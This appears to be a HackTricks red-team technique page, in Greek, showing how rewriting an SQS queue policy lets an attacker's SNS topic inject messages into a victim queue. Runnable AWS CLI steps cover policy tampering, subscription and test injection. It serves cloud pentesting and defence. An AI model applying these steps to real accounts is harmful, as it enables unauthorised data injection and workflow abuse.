AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Περιγραφή

Κακοποίηση του resource policy μιας SQS queue για να επιτρέψει σε ένα attacker-controlled SNS topic να δημοσιεύει μηνύματα σε μια victim SQS queue. Στο ίδιο account, μια SQS subscription σε ένα SNS topic αυτο-επιβεβαιώνεται· σε cross-account περίπτωση, πρέπει να διαβάσετε το SubscriptionConfirmation token από την queue και να καλέσετε το ConfirmSubscription. Αυτό επιτρέπει μη αξιόπιστη έγχυση μηνυμάτων που οι downstream consumers μπορεί να εμπιστευτούν σιωπηλά.

Απαιτήσεις

  • Ικανότητα να τροποποιήσετε το resource policy της στοχευόμενης SQS queue: sqs:SetQueueAttributes στην victim queue.
  • Ικανότητα δημιουργίας/δημοσίευσης σε ένα SNS topic υπό τον έλεγχο του attacker: sns:CreateTopic, sns:Publish, και sns:Subscribe στον attacker account/topic.
  • Μόνο cross-account: προσωρινό sqs:ReceiveMessage στην victim queue για να διαβάσετε το confirmation token και να καλέσετε το sns:ConfirmSubscription.

Εκμετάλλευση στο ίδιο account

REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Create attacker SNS topic
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)

# 3) Allow that SNS topic to publish to the queue (queue resource policy)
cat > /tmp/ht-sqs-sns-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
JSON
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
# Provide the attribute as a JSON map so quoting works reliably
cat > /tmp/ht-attrs.json <<JSON
{
"Policy": "REPLACE_POLICY_JSON"
}
JSON
# Embed the policy file contents as a JSON string
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json

# 4) Subscribe the queue to the topic (auto-confirms same-account)
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION

# 5) Publish and verify injection
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All

Σημειώσεις μεταξύ λογαριασμών

  • Η παραπάνω πολιτική της ουράς πρέπει να επιτρέπει το ξένο TOPIC_ARN (attacker account).
  • Οι συνδρομές δεν θα αυτο-επιβεβαιωθούν. Χορηγήστε στον εαυτό σας προσωρινά sqs:ReceiveMessage στην ουρά του θύματος για να διαβάσετε το μήνυμα SubscriptionConfirmation και στη συνέχεια καλέστε sns confirm-subscription με το Token του.

Επιπτώσεις

Πιθανός Αντίκτυπος: Συνεχής ανεπιθύμητη έγχυση μηνυμάτων σε εμπιστευόμενη ουρά SQS μέσω SNS, ενδεχομένως ενεργοποιώντας ανεπιθύμητη επεξεργασία, ρύπανση δεδομένων ή κατάχρηση ροής εργασίας.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks